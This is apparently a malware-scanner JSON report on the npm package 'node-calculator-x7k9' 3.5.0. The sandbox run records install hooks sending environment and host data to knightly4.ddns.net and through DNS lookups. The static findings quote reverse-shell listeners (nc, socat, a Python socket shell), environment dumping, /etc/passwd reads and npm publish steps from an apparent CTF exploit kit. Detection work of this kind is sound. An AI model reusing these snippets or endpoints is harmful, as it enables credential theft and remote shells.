{"package":"node-calculator-x7k9","version":"3.5.0","known":true,"status":"error","discovered_at":1790300821878,"has_install_script":true,"report_url":"https://andymal.com/packages/node-calculator-x7k9/3.5.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376450550,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":4016,"lab_ip":"10.77.0.150","hooks":[{"name":"preinstall","command":"node preinstall.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> node-calculator-x7k9@3.5.0 preinstall\n> node preinstall.js\n\n","stderr_tail":""},{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> node-calculator-x7k9@3.5.0 postinstall\n> node postinstall.js\n\nInstalling node-calculator-x7k9 v3.2.0...\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":10,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","npm run-script preinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script preinstall --if-present --ignore-scripts=false","sh -c node preinstall.js","node preinstall.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"159.223.153.251","port":8080,"n":1}],"dns":[{"name":"nfx.4hoj9wr8.1.4.eyJwYWNrYWdlX25hbWUiOiJuZi1pc28tcHJvcGVydGllcyIsIn.ZlcnNpb24iOiI5OS44Ny4zMyI.com","n":1},{"name":"nfx.4hoj9wr8.2.4.sInVzZXJuYW1lIjoibm9kZSIsImhvc3RuYW1lIjoiMzI2NzU5N.TQ1ZjllIiwicHdkIjoiL3dvcm.com","n":1},{"name":"nfx.4hoj9wr8.3.4.svcGtnIiwic3lzdGVtaW5mbyI6ImxpbnV4IDUuMTUuMC03Mi1n.ZW5lcmljIHg2NCBjcHU6MTI4I.com","n":1},{"name":"nfx.4hoj9wr8.4.4.iwibm9kZV92ZXJzaW9uIjoidjIyLjIzLjIiLCJucG1fdmVyc2l.vbiI6IjEwLjkuOCJ9.com","n":1}],"http":[{"method":"POST","host":"knightly4.ddns.net","path":"/telemetry","body_preview":"{\"package_name\":\"nf-iso-properties\",\"version\":\"99.87.33\",\"username\":\"node\",\"hostname\":\"326759545f9e\",\"pwd\":\"/work/pkg\",\"systeminfo\":\"linux 5.15.0-72-generic x64 cpu:128\",\"node_version\":\"v22.23.2\",\"npm_version\":\"10.9.8\"}"}],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"node-calculator-x7k9","version":"3.5.0","description":"Simple calculator plugin with enhanced features","scripts":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"install_hooks":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"bin":{},"main":"index.js","dependencies":[],"author":"DarkT","license":"MIT","hasInstallScript":true},"files":[{"path":"ATTACK_DIAGRAM.txt","size":18565,"kind":"text","score":1,"hits":["credential_access","network_egress","reverse_shell","install_hook_shell"]},{"path":"exploit.ps1","size":8262,"kind":"text","score":1,"hits":["network_egress","reverse_shell","registry_abuse","reconnaissance"]},{"path":"EXPLOITATION_GUIDE.md","size":5982,"kind":"text","score":1,"hits":["credential_access","network_egress","code_execution","reverse_shell","registry_abuse","reconnaissance","privilege"]},{"path":"exploit.sh","size":3886,"kind":"text","score":0.7016666666666667,"hits":["network_egress","registry_abuse","reconnaissance"]},{"path":"test-simple.js","size":4927,"kind":"text","score":0.41123333333333334,"hits":["credential_harvest","code_execution"]},{"path":"preinstall.js","size":3833,"kind":"text","score":0.33433333333333337,"hits":["credential_harvest","reconnaissance"],"role":"entry"},{"path":"postinstall.js","size":1744,"kind":"text","score":0.31766666666666665,"hits":["credential_harvest","reconnaissance"],"role":"entry"},{"path":"package.json","size":344,"kind":"text","score":0.13366666666666666,"hits":["install_hook_shell"]},{"path":"exfil_server.py","size":8492,"kind":"text","score":0,"hits":[]},{"path":"index.js","size":543,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"listener.py","size":4927,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":544,"kind":"text","score":0,"hits":[]},{"path":"test-exfiltration.ps1","size":5336,"kind":"text","score":0,"hits":[]},{"path":"test-local.ps1","size":5768,"kind":"text","score":0,"hits":[]}],"file_count":14,"unpacked_size":73153,"findings":[{"title":"Install hook","detail":"preinstall: node preinstall.js","severity":"low","location":"package.json"},{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Touches credential stores or secrets","detail":"wer versions │ │ • No registry pinning (.npmrc) │ │ • No packa","severity":"high","location":"ATTACK_DIAGRAM.txt:137"},{"title":"Touches credential stores or secrets","detail":"═══════════════════════════════════════════════╝ ✓ Use .npmrc with registry pinning ────────────────────────────────","severity":"high","location":"ATTACK_DIAGRAM.txt:189"},{"title":"Touches credential stores or secrets","detail":"vate-registry.com //private-registry.com/:_authToken=${NPM_TOKEN} ✓ Enable package-lock.json and use npm ci ──────","severity":"high","location":"ATTACK_DIAGRAM.txt:192"},{"title":"Network activity","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash","severity":"medium","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Reverse shell","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash -i","severity":"critical","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Install hook runs a script","detail":"│ │ \"preinstall\": \"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node","severity":"medium","location":"ATTACK_DIAGRAM.txt:155"},{"title":"Install hook runs a script","detail":"\"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node postinstall.js\" ← Executes AFTER │ │ }","severity":"medium","location":"ATTACK_DIAGRAM.txt:156"},{"title":"Touches credential stores or secrets","detail":"ucational purposes, here's how to prevent this: 1. **Use .npmrc with registry lockdown**: ``` @yourcompany:registry","severity":"high","location":"EXPLOITATION_GUIDE.md:213"},{"title":"Network activity","detail":"your attack machine: ```bash # Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat","severity":"medium","location":"EXPLOITATION_GUIDE.md:34"},{"title":"Network activity","detail":"Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat","severity":"medium","location":"EXPLOITATION_GUIDE.md:36"},{"title":"Network activity","detail":"nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat (most stable) socat T","severity":"medium","location":"EXPLOITATION_GUIDE.md:37"},{"title":"Network activity","detail":"ur port ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr s","severity":"medium","location":"EXPLOITATION_GUIDE.md:58"},{"title":"Executes commands or dynamic code","detail":"ocket();s.bind((\"0.0.0.0\",4444));s.listen(1);c,a=s.accept();subprocess.call([\"/bin/sh\"],stdin=c,stdout=c,stderr=c)' ``` ### Ste","severity":"medium","location":"EXPLOITATION_GUIDE.md:43"},{"title":"Executes commands or dynamic code","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export TE","severity":"medium","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Reverse shell","detail":"ncat -nlvp 4444 # Option 3: Using socat (most stable) socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash # Option 4: Using Python python3 -c 'import s","severity":"critical","location":"EXPLOITATION_GUIDE.md:40"},{"title":"Reverse shell","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export T","severity":"critical","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"cious-package # Login to npm (if not already logged in) npm login # Publish the package npm publish # If package name","severity":"high","location":"EXPLOITATION_GUIDE.md:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"age name is already taken, you might need to use a scope # npm publish --access public ``` **Important Notes:** - Your package version","severity":"high","location":"EXPLOITATION_GUIDE.md:77"},{"title":"System reconnaissance","detail":"rt ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr show # L","severity":"low","location":"EXPLOITATION_GUIDE.md:58"},{"title":"System reconnaissance","detail":"# Local network IP (for local CTF) ip addr show # Linux ipconfig # Windows ``` ### Step 3: Publish the Malicious Pa","severity":"low","location":"EXPLOITATION_GUIDE.md:62"},{"title":"System reconnaissance","detail":"flag*\" 2>/dev/null cat /flag.txt # Exfiltrate data cat /etc/passwd env ps aux # Check for other containers ip addr nets","severity":"low","location":"EXPLOITATION_GUIDE.md:174"},{"title":"System reconnaissance","detail":"sswd env ps aux # Check for other containers ip addr netstat -ant ``` ## Troubleshooting ### Shell Not Connecting","severity":"low","location":"EXPLOITATION_GUIDE.md:180"},{"title":"Privilege elevation","detail":"eck firewall**: Make sure port 4444 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --","severity":"low","location":"EXPLOITATION_GUIDE.md:189"},{"title":"Privilege elevation","detail":"44 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT ``` 2","severity":"low","location":"EXPLOITATION_GUIDE.md:191"},{"title":"Network activity","detail":"lly with:\" -ForegroundColor Yellow Write-Host \" curl -X POST http://$TargetIP/report-bug -H 'Content-Type: applic","severity":"medium","location":"exploit.ps1:142"},{"title":"Reverse shell","detail":"undColor Green $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $reader =","severity":"critical","location":"exploit.ps1:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ction SilentlyContinue) { Write-Host \" [*] Checking npm login status...\" -ForegroundColor Yellow $npmUser = np","severity":"high","location":"exploit.ps1:102"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"npm\" -ForegroundColor Red Write-Host \" [!] Run: npm login\" -ForegroundColor Yellow Write-Host \" [!] Then:","severity":"high","location":"exploit.ps1:112"},{"title":"System reconnaissance","detail":"tatus...\" -ForegroundColor Yellow $npmUser = npm whoami 2>$null if ($LASTEXITCODE -eq 0) { Write-Host","severity":"low","location":"exploit.ps1:104"},{"title":"Network activity","detail":"$LISTENER_PID\" else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! f","severity":"medium","location":"exploit.sh:35"},{"title":"Network activity","detail":"else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! fi sleep 2 # St","severity":"medium","location":"exploit.sh:36"},{"title":"Network activity","detail":"ng vulnerability via /report-bug endpoint...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$T","severity":"medium","location":"exploit.sh:65"},{"title":"Network activity","detail":"nt...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$TARGET_IP/report-bug\" \\ -H \"Cont","severity":"medium","location":"exploit.sh:66"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"if command -v npm &> /dev/null; then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then ech","severity":"high","location":"exploit.sh:45"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ho \"[!] Not logged in to npm\" echo \"[!] Please run: npm login\" echo \"[!] Then run: cd malicious-package && npm pu","severity":"high","location":"exploit.sh:53"},{"title":"System reconnaissance","detail":"then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then echo \"[+] Already logged in to n","severity":"low","location":"exploit.sh:46"},{"title":"Install hook runs a script","detail":"nced features\", \"main\": \"index.js\", \"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywor","severity":"medium","location":"package.json:7"},{"title":"Install hook runs a script","detail":"\"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywords\": [\"calculator\", \"math\"], \"author\": \"","severity":"medium","location":"package.json:8"},{"title":"Dumps the whole environment (API keys live there)","detail":"source: 'postinstall', environment: process.env, system: { hostname: os.hostna","severity":"high","location":"postinstall.js:21"},{"title":"System reconnaissance","detail":"cess.env, system: { hostname: os.hostname(), user: os.userInfo().username,","severity":"low","location":"postinstall.js:23"},{"title":"System reconnaissance","detail":"hostname: os.hostname(), user: os.userInfo().username, cwd: process.cwd()","severity":"low","location":"postinstall.js:24"},{"title":"Dumps the whole environment (API keys live there)","detail":"onment variables - contains the FLAG! environment: process.env, // Basic system info using native Node.j","severity":"high","location":"preinstall.js:25"},{"title":"System reconnaissance","detail":"ng native Node.js system: { hostname: os.hostname(), platform: os.env(), arch: os.arc","severity":"low","location":"preinstall.js:29"},{"title":"System reconnaissance","detail":"arch(), type: os.type(), release: os.release(), nodeVersion: process.version, us","severity":"low","location":"preinstall.js:33"},{"title":"System reconnaissance","detail":"nodeVersion: process.version, user: os.userInfo(), cwd: process.cwd(), homedir: os.","severity":"low","location":"preinstall.js:35"},{"title":"System reconnaissance","detail":"o(), cwd: process.cwd(), homedir: os.homedir(), tmpdir: os.tmpdir() },","severity":"low","location":"preinstall.js:37"},{"title":"Dumps the whole environment (API keys live there)","detail":"node', ['preinstall.js'], { env: { ...process.env, FLAG: 'cyctf{test_flag_local}' },","severity":"high","location":"test-simple.js:81"},{"title":"Executes commands or dynamic code","detail":"eeding to publish to npm */ const { spawn } = require('child_process'); const http = require('http'); console.log('╔════════","severity":"medium","location":"test-simple.js:8"},{"title":"Executes commands or dynamic code","detail":"einstall.js with localhost configuration const child = spawn('node', ['preinstall.js'], { env: { ..","severity":"medium","location":"test-simple.js:79"}],"injection_findings":[],"hits":{"credential_access":4,"network_egress":12,"reverse_shell":4,"install_hook_shell":4,"code_execution":4,"registry_abuse":6,"reconnaissance":13,"privilege":2,"credential_harvest":3},"iocs":{"urls":["https://private-registry.com","http://TARGET_IP:3000/report-bug","http://TARGET:3000/report-bug","https://your-private-registry.com","http://$TargetIP/report-bug","http://$TARGET_IP/report-bug","http://159.223.153.251:8080/exfil","http://127.0.0.1:8080/exfil","http://127.0.0.1"],"domains":["private-registry.com","target_ip","target","your-private-registry.com","$targetip","$target_ip","exploit.sh","ifconfig.me","system.net","system.io"],"ips":["159.223.153.251","127.0.0.1"]},"score":1,"priority":155,"hints":["install hook preinstall: node preinstall.js","install hook postinstall: node postinstall.js","untrusted hosts referenced: private-registry.com, target_ip, target, your-private-registry.com, $targetip, $target_ip, exploit.sh, ifconfig.me, system.net, system.io","raw IPs referenced: 159.223.153.251, 127.0.0.1","capability hits: reconnaissance×13, network_egress×12, registry_abuse×6, credential_access×4, reverse_shell×4, install_hook_shell×4, code_execution×4, credential_harvest×3, privilege×2"],"entry_files":["preinstall.js","postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}